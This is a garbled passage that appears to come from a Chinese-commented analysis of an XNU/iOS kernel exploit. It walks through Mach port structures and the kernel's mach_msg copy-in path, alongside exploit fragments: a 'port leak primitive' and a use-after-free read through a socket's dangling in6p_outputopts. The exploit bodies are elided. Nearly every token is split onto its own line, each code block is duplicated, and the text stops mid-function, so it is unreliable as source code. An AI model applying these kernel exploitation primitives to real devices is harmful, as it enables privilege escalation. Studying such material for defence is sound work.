struct exception_action exc_actions[EXC_TYPES_COUNT];
/
*
a send right each valid element
*
/
struct ipc_port
*
itk_host;
/
*
a send right
*
/
struct ipc_port
*
itk_bootstrap;
/
*
a send right
*
/
struct ipc_port
*
itk_seatbelt;
/
*
a send right
*
/
struct ipc_port
*
itk_gssd;
/
*
yet another send right
*
/
struct ipc_port
*
itk_debug_control;
/
*
send right
for
debugmode communications
*
/
struct ipc_port
*
itk_task_access;
/
*
and
another send right
*
/
struct ipc_port
*
itk_resume;
/
*
a receive right to resume this task
*
/
struct ipc_port
*
itk_registered[TASK_PORT_REGISTER_MAX];
/
*
all
send rights
*
/
struct ipc_space
*
itk_space;
...
};
self_port_addr
=
task_self_addr();
/
/
port leak primitive
self_port_addr
=
task_self_addr();
/
/
port leak primitive
uint64_t task_self_addr() {
static uint64_t cached_task_self_addr
=
0
;
/
/
判断是否获取过Task Port地址
if
(cached_task_self_addr)
return
cached_task_self_addr;
/
/
返回缓存的Task Port地址
else
return
find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
}
uint64_t task_self_addr() {
static uint64_t cached_task_self_addr
=
0
;
/
/
判断是否获取过Task Port地址
if
(cached_task_self_addr)
return
cached_task_self_addr;
/
/
返回缓存的Task Port地址
else
return
find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
}
uint64_t find_port_via_uaf(mach_port_t port,
int
disposition) {
int
sock
=
get_socket_with_dangling_options();
/
/
填充释放掉的内存并利用inp
-
>in6p_outputopts读取数据
...
close(sock);
return
0
;
}
uint64_t find_port_via_uaf(mach_port_t port,
int
disposition) {
int
sock
=
get_socket_with_dangling_options();
/
/
填充释放掉的内存并利用inp
-
>in6p_outputopts读取数据
...
close(sock);
return
0
;
}
typedef __darwin_mach_port_t mach_port_t;
typedef __darwin_mach_port_name_t __darwin_mach_port_t;
/
*
Used by mach
*
/
typedef __darwin_natural_t __darwin_mach_port_name_t;
/
*
Used by mach
*
/
typedef unsigned
int
__darwin_natural_t;
typedef __darwin_mach_port_t mach_port_t;
typedef __darwin_mach_port_name_t __darwin_mach_port_t;
/
*
Used by mach
*
/
typedef __darwin_natural_t __darwin_mach_port_name_t;
/
*
Used by mach
*
/
typedef unsigned
int
__darwin_natural_t;
struct ipc_port {
/
*
*
Initial sub
-
structure
in
common with ipc_pset
*
First element
is
an ipc_object second
is
a
*
message queue
*
/
struct ipc_object ip_object;
struct ipc_mqueue ip_messages;
union {
struct ipc_space
*
receiver;
struct ipc_port
*
destination;
ipc_port_timestamp_t timestamp;
} data;
union {
ipc_kobject_t kobject;
ipc_importance_task_t imp_task;
ipc_port_t sync_inheritor_port;
struct knote
*
sync_inheritor_knote;
struct turnstile
*
sync_inheritor_ts;
} kdata;
struct ipc_port
*
ip_nsrequest;
struct ipc_port
*
ip_pdrequest;
struct ipc_port_request
*
ip_requests;
union {
struct ipc_kmsg
*
premsg;
struct turnstile
*
send_turnstile;
SLIST_ENTRY(ipc_port) dealloc_elm;
} kdata2;
mach_vm_address_t ip_context;
natural_t ip_sprequests:
1
,
/
*
send
-
possible requests outstanding
*
/
ip_spimportant:
1
,
/
*
... at least one
is
importance donating
*
/
ip_impdonation:
1
,
/
*
port supports importance donation
*
/
ip_tempowner:
1
,
/
*
dont give donations to current receiver
*
/
ip_guarded:
1
,
/
*
port guarded (use context value as guard)
*
/
ip_strict_guard:
1
,
/
*
Strict guarding; Prevents user manipulation of context values directly
*
/
ip_specialreply:
1
,
/
*
port
is
a special reply port
*
/
ip_sync_link_state:
3
,
/
*
link the special reply port to destination port
/
Workloop
*
/
ip_impcount:
22
;
/
*
number of importance donations
in
nested queue
*
/
mach_port_mscount_t ip_mscount;
mach_port_rights_t ip_srights;
mach_port_rights_t ip_sorights;
#if MACH_ASSERT
#define IP_NSPARES 4
#define IP_CALLSTACK_MAX 16
/
*
queue_chain_t ip_port_links;
*
/
/
*
all
allocated ports
*
/
thread_t ip_thread;
/
*
who made me? thread context
*
/
unsigned
long
ip_timetrack;
/
*
give an idea of
"when"
created
*
/
uintptr_t ip_callstack[IP_CALLSTACK_MAX];
/
*
stack trace
*
/
unsigned
long
ip_spares[IP_NSPARES];
/
*
for
debugging
*
/
#endif /* MACH_ASSERT */
#if DEVELOPMENT || DEBUG
uint8_t ip_srp_lost_link:
1
,
/
*
special reply port turnstile link chain broken
*
/
ip_srp_msg_sent:
1
;
/
*
special reply port msg sent
*
/
#endif
};
struct ipc_port {
/
*
*
Initial sub
-
structure
in
common with ipc_pset
*
First element
is
an ipc_object second
is
a
*
message queue
*
/
struct ipc_object ip_object;
struct ipc_mqueue ip_messages;
union {
struct ipc_space
*
receiver;
struct ipc_port
*
destination;
ipc_port_timestamp_t timestamp;
} data;
union {
ipc_kobject_t kobject;
ipc_importance_task_t imp_task;
ipc_port_t sync_inheritor_port;
struct knote
*
sync_inheritor_knote;
struct turnstile
*
sync_inheritor_ts;
} kdata;
struct ipc_port
*
ip_nsrequest;
struct ipc_port
*
ip_pdrequest;
struct ipc_port_request
*
ip_requests;
union {
struct ipc_kmsg
*
premsg;
struct turnstile
*
send_turnstile;
SLIST_ENTRY(ipc_port) dealloc_elm;
} kdata2;
mach_vm_address_t ip_context;
natural_t ip_sprequests:
1
,
/
*
send
-
possible requests outstanding
*
/
ip_spimportant:
1
,
/
*
... at least one
is
importance donating
*
/
ip_impdonation:
1
,
/
*
port supports importance donation
*
/
ip_tempowner:
1
,
/
*
dont give donations to current receiver
*
/
ip_guarded:
1
,
/
*
port guarded (use context value as guard)
*
/
ip_strict_guard:
1
,
/
*
Strict guarding; Prevents user manipulation of context values directly
*
/
ip_specialreply:
1
,
/
*
port
is
a special reply port
*
/
ip_sync_link_state:
3
,
/
*
link the special reply port to destination port
/
Workloop
*
/
ip_impcount:
22
;
/
*
number of importance donations
in
nested queue
*
/
mach_port_mscount_t ip_mscount;
mach_port_rights_t ip_srights;
mach_port_rights_t ip_sorights;
#if MACH_ASSERT
#define IP_NSPARES 4
#define IP_CALLSTACK_MAX 16
/
*
queue_chain_t ip_port_links;
*
/
/
*
all
allocated ports
*
/
thread_t ip_thread;
/
*
who made me? thread context
*
/
unsigned
long
ip_timetrack;
/
*
give an idea of
"when"
created
*
/
uintptr_t ip_callstack[IP_CALLSTACK_MAX];
/
*
stack trace
*
/
unsigned
long
ip_spares[IP_NSPARES];
/
*
for
debugging
*
/
#endif /* MACH_ASSERT */
#if DEVELOPMENT || DEBUG
uint8_t ip_srp_lost_link:
1
,
/
*
special reply port turnstile link chain broken
*
/
ip_srp_msg_sent:
1
;
/
*
special reply port msg sent
*
/
#endif
};
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
};
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
};
mach_msg_return_t
mach_msg_trap(
struct mach_msg_overwrite_trap_args
*
args)
{
kern_return_t kr;
args
-
>rcv_msg
=
(mach_vm_address_t)
0
;
kr
=
mach_msg_overwrite_trap(args);
return
kr;
}
mach_msg_return_t
mach_msg_trap(
struct mach_msg_overwrite_trap_args
*
args)
{
kern_return_t kr;
args
-
>rcv_msg
=
(mach_vm_address_t)
0
;
kr
=
mach_msg_overwrite_trap(args);
return
kr;
}
mach_msg_return_t
mach_msg_overwrite_trap(
struct mach_msg_overwrite_trap_args
*
args)
{
mach_vm_address_t msg_addr
=
args
-
>msg;
mach_msg_option_t option
=
args
-
>option;
/
/
mach_msg()第二个参数
...
mach_msg_return_t mr
=
MACH_MSG_SUCCESS;
/
/
大吉大利
vm_map_t
map
=
current_map();
/
*
Only accept options allowed by the user
*
/
option &
=
MACH_MSG_OPTION_USER;
if
(option & MACH_SEND_MSG) {
ipc_space_t space
=
current_space();
ipc_kmsg_t kmsg;
/
/
创建kmsg变量
/
/
分配缓冲区并从用户态拷贝消息头到内核态
mr
=
ipc_kmsg_get(msg_addr, send_size, &kmsg);
/
/
转换端口,并拷贝消息体
mr
=
ipc_kmsg_copyin(kmsg, space,
map
, override, &option);
/
/
发送消息
mr
=
ipc_kmsg_send(kmsg, option, msg_timeout);
}
if
(option & MACH_RCV_MSG) {
...
}
return
MACH_MSG_SUCCESS;
}
mach_msg_return_t
mach_msg_overwrite_trap(
struct mach_msg_overwrite_trap_args
*
args)
{
mach_vm_address_t msg_addr
=
args
-
>msg;
mach_msg_option_t option
=
args
-
>option;
/
/
mach_msg()第二个参数
...
mach_msg_return_t mr
=
MACH_MSG_SUCCESS;
/
/
大吉大利
vm_map_t
map
=
current_map();
/
*
Only accept options allowed by the user
*
/
option &
=
MACH_MSG_OPTION_USER;
if
(option & MACH_SEND_MSG) {
ipc_space_t space
=
current_space();
ipc_kmsg_t kmsg;
/
/
创建kmsg变量
/
/
分配缓冲区并从用户态拷贝消息头到内核态
mr
=
ipc_kmsg_get(msg_addr, send_size, &kmsg);
/
/
转换端口,并拷贝消息体
mr
=
ipc_kmsg_copyin(kmsg, space,
map
, override, &option);
/
/
发送消息
mr
=
ipc_kmsg_send(kmsg, option, msg_timeout);
}
if
(option & MACH_RCV_MSG) {
...
}
return
MACH_MSG_SUCCESS;
}
mach_msg_return_t
ipc_kmsg_get(
mach_vm_address_t msg_addr,
mach_msg_size_t size,
ipc_kmsg_t
*
kmsgp)
{
mach_msg_size_t msg_and_trailer_size;
ipc_kmsg_t kmsg;
mach_msg_max_trailer_t
*
trailer;
mach_msg_legacy_base_t legacy_base;
mach_msg_size_t len_copied;
legacy_base.body.msgh_descriptor_count
=
0
;
/
/
长度参数检查
...
/
/
mach_msg_legacy_base_t结构体长度等于mach_msg_base_t
if
(size
=
=
sizeof(mach_msg_legacy_header_t)) {
len_copied
=
sizeof(mach_msg_legacy_header_t);
}
else
{
len_copied
=
sizeof(mach_msg_legacy_base_t);
}
/
/
从用户态拷贝消息到内核态
if
(copyinmsg(msg_addr, (char
*
)&legacy_base, len_copied)) {
return
MACH_SEND_INVALID_DATA;
}
/
/
获取内核态消息变量起始地址
msg_addr
+
=
sizeof(legacy_base.header);
/
/
直接加上最长的trailer长度,不知道接收者会定义何种类型的trailer,此处是做备用操作
/
/
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
/
/
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
msg_and_trailer_size
=
size
+
MAX_TRAILER_SIZE;
/
/
分配内核空间
kmsg
=
ipc_kmsg_alloc(msg_and_trailer_size);
/
/
初始化kmsg.ikm_header部分字段
...
/
/
拷贝消息体,此处不包括trailer
if
(copyinmsg(msg_addr, (char
*
)(kmsg
-
>ikm_header
+
1
), size
-
(mach_msg_size_t)sizeof(mach_msg_header_t))) {
ipc_kmsg_free(kmsg);
return
MACH_SEND_INVALID_DATA;
}
/
/
通过size找到kmsg尾部trailer的起始地址,进行初始化
trailer
=
(mach_msg_max_trailer_t
*
) ((vm_offset_t)kmsg
-
>ikm_header
+
size);
trailer
-
>msgh_sender
=
current_thread()
-
>task
-
>sec_token;
trailer
-
>msgh_audit
=
current_thread()
-
>task
-
>audit_token;
trailer
-
>msgh_trailer_type
=
MACH_MSG_TRAILER_FORMAT_0;
trailer
-
>msgh_trailer_size
=
MACH_MSG_TRAILER_MINIMUM_SIZE;
trailer
-
>msgh_labels.sender
=
0
;
*
kmsgp
=
kmsg;
return
MACH_MSG_SUCCESS;
}
mach_msg_return_t
ipc_kmsg_get(
mach_vm_address_t msg_addr,
mach_msg_size_t size,
ipc_kmsg_t
*
kmsgp)
{
mach_msg_size_t msg_and_trailer_size;
ipc_kmsg_t kmsg;
mach_msg_max_trailer_t
*
trailer;
mach_msg_legacy_base_t legacy_base;
mach_msg_size_t len_copied;
legacy_base.body.msgh_descriptor_count
=
0
;
/
/
长度参数检查
...
/
/
mach_msg_legacy_base_t结构体长度等于mach_msg_base_t
if
(size
=
=
sizeof(mach_msg_legacy_header_t)) {
len_copied
=
sizeof(mach_msg_legacy_header_t);
}
else
{
len_copied
=
sizeof(mach_msg_legacy_base_t);
}
/
/
从用户态拷贝消息到内核态
if
(copyinmsg(msg_addr, (char
*
)&legacy_base, len_copied)) {
return
MACH_SEND_INVALID_DATA;
}
/
/
获取内核态消息变量起始地址
msg_addr
+
=
sizeof(legacy_base.header);
/
/
直接加上最长的trailer长度,不知道接收者会定义何种类型的trailer,此处是做备用操作
/
/
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
/
/
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
msg_and_trailer_size
=
size
+
MAX_TRAILER_SIZE;
/
/
分配内核空间
kmsg
=
ipc_kmsg_alloc(msg_and_trailer_size);
/
/
初始化kmsg.ikm_header部分字段
...
/
/
拷贝消息体,此处不包括trailer
if
(copyinmsg(msg_addr, (char
*
)(kmsg
-
>ikm_header
+
1
), size
-
(mach_msg_size_t)sizeof(mach_msg_header_t))) {
ipc_kmsg_free(kmsg);
return
MACH_SEND_INVALID_DATA;
}
/
/
通过size找到kmsg尾部trailer的起始地址,进行初始化
trailer
=
(mach_msg_max_trailer_t
*
) ((vm_offset_t)kmsg
-
>ikm_header
+
size);
trailer
-
>msgh_sender
=
current_thread()
-
>task
-
>sec_token;
trailer
-
>msgh_audit
=
current_thread()
-
>task
-
>audit_token;
trailer
-
>msgh_trailer_type
=
MACH_MSG_TRAILER_FORMAT_0;
trailer
-
>msgh_trailer_size
=
MACH_MSG_TRAILER_MINIMUM_SIZE;
trailer
-
>msgh_labels.sender
=
0
;
*
kmsgp
=
kmsg;
return
MACH_MSG_SUCCESS;
}
mach_msg_return_t
ipc_kmsg_copyin(
ipc_kmsg_t kmsg,
ipc_space_t space,
vm_map_t
map
,
mach_msg_priority_t override,
mach_msg_option_t
*
optionp)
{
mach_msg_return_t mr;
kmsg
-
>ikm_header
-
>msgh_bits &
=
MACH_MSGH_BITS_USER;
mr
=
ipc_kmsg_copyin_header(kmsg, space, override, optionp);
if
((kmsg
-
>ikm_header
-
>msgh_bits & MACH_MSGH_BITS_COMPLEX)
=
=
0
)
return
MACH_MSG_SUCCESS;
mr
=
ipc_kmsg_copyin_body( kmsg, space,
map
, optionp);
return
mr;
}
mach_msg_return_t
ipc_kmsg_copyin(
ipc_kmsg_t kmsg,
ipc_space_t space,
vm_map_t
map
,
mach_msg_priority_t override,
mach_msg_option_t
*
optionp)
{
mach_msg_return_t mr;
kmsg
-
>ikm_header
-
>msgh_bits &
=
MACH_MSGH_BITS_USER;
mr
=
ipc_kmsg_copyin_header(kmsg, space, override, optionp);
if
((kmsg
-
>ikm_header
-
>msgh_bits & MACH_MSGH_BITS_COMPLEX)
=
=
0
)
return
MACH_MSG_SUCCESS;
mr
=
ipc_kmsg_copyin_body( kmsg, space,
map
, optionp);
return
mr;
}
mach_msg_return_t
ipc_kmsg_copyin_body(
ipc_kmsg_t kmsg,
ipc_space_t space,
vm_map_t
map
,
mach_msg_option_t
*
optionp)
{
ipc_object_t dest;
mach_msg_body_t
*
body;
mach_msg_descriptor_t
*
daddr,
*
naddr;
mach_msg_descriptor_t
*
user_addr,
*
kern_addr;
mach_msg_type_number_t dsc_count;
/
/
#define VM_MAX_ADDRESS ((vm_address_t) 0x80000000)
boolean_t is_task_64bit
=
(
map
-
>max_offset > VM_MAX_ADDRESS);
boolean_t
complex
=
FALSE;
vm_size_t space_needed
=
0
;
vm_offset_t paddr
=
0
;
vm_map_copy_t copy
=
VM_MAP_COPY_NULL;
mach_msg_type_number_t i;
mach_msg_return_t mr
=
MACH_MSG_SUCCESS;
vm_size_t descriptor_size
=
0
;
mach_msg_type_number_t total_ool_port_count
=
0
;
/
/
目标端口
dest
=
(ipc_object_t) kmsg
-
>ikm_header
-
>msgh_remote_port;
/
/
内核态消息体的起始地址
body
=
(mach_msg_body_t
*
) (kmsg
-
>ikm_header
+
1
);
naddr
=
(mach_msg_descriptor_t
*
) (body
+
1
);
/
/
如果msgh_descriptor_count为
0
表示没有数据,直接返回,此处我们设置的是
1
dsc_count
=
body
-
>msgh_descriptor_count;
if
(dsc_count
=
=
0
)
return
MACH_MSG_SUCCESS;
daddr
=
NULL;
for
(i
=
0
; i < dsc_count; i
+
+
) {
mach_msg_size_t size;
mach_msg_type_number_t ool_port_count
=
0
;
daddr
=
naddr;
/
*
make sure the descriptor fits
in
the message
*
/
/
/
结构体mach_msg_ool_ports_descriptor_t第一个字段为地址
/
/
void
*
address;
/
/
64
位是
8
字节,
32
位是
4
字节
if
(is_task_64bit) {
switch (daddr
-
>
type
.
type
) {
case MACH_MSG_OOL_DESCRIPTOR:
case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
descriptor_size
+
=
16
;
naddr
=
(typeof(naddr))((vm_offset_t)daddr
+
16
);
break
;
default:
descriptor_size
+
=
12
;
naddr
=
(typeof(naddr))((vm_offset_t)daddr
+
12
);
break
;
}
}
else
{
descriptor_size
+
=
12
;
naddr
=
(typeof(naddr))((vm_offset_t)daddr
+
12
);
}
}
user_addr
=
(mach_msg_descriptor_t
*
)((vm_offset_t)kmsg
-
>ikm_header
+
sizeof(mach_msg_base_t));
/
/
判断是否需要左移,默认只有
1
个descriptor的大小,
1
个长度是
16
字节,我们设置的是
1
个,所以不需要移动
if
(descriptor_size !
=
16
*
dsc_count) {
vm_offset_t dsc_adjust
=
16
*
dsc_count
-
descriptor_size;
memmove((char
*
)(((vm_offset_t)kmsg
-
>ikm_header)
-
dsc_adjust), kmsg
-
>ikm_header, sizeof(mach_msg_base_t));
kmsg
-
>ikm_header
=
(mach_msg_header_t
*
)((vm_offset_t)kmsg
-
>ikm_header
-
dsc_adjust);
kmsg
-
>ikm_header
-
>msgh_size
+
=
(mach_msg_size_t)dsc_adjust;
}
kern_addr
=
(mach_msg_descriptor_t
*
)((vm_offset_t)kmsg
-
>ikm_header
+
sizeof(mach_msg_base_t));
/
*
handle the OOL regions
and
port descriptors.
*
/
for
(i
=
0
; i < dsc_count; i
+
+
) {
switch (user_addr
-
>
type
.
type
) {
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
user_addr
=
ipc_kmsg_copyin_ool_ports_descriptor((mach_msg_ool_ports_descriptor_t
*
)kern_addr,
user_addr, is_task_64bit,
map
, space, dest, kmsg, optionp, &mr);
kern_addr
+
+
;
complex
=
TRUE;
break
;
}
}
/
*
End of loop
*
/
...
}
mach_msg_return_t
ipc_kmsg_copyin_body(
ipc_kmsg_t kmsg,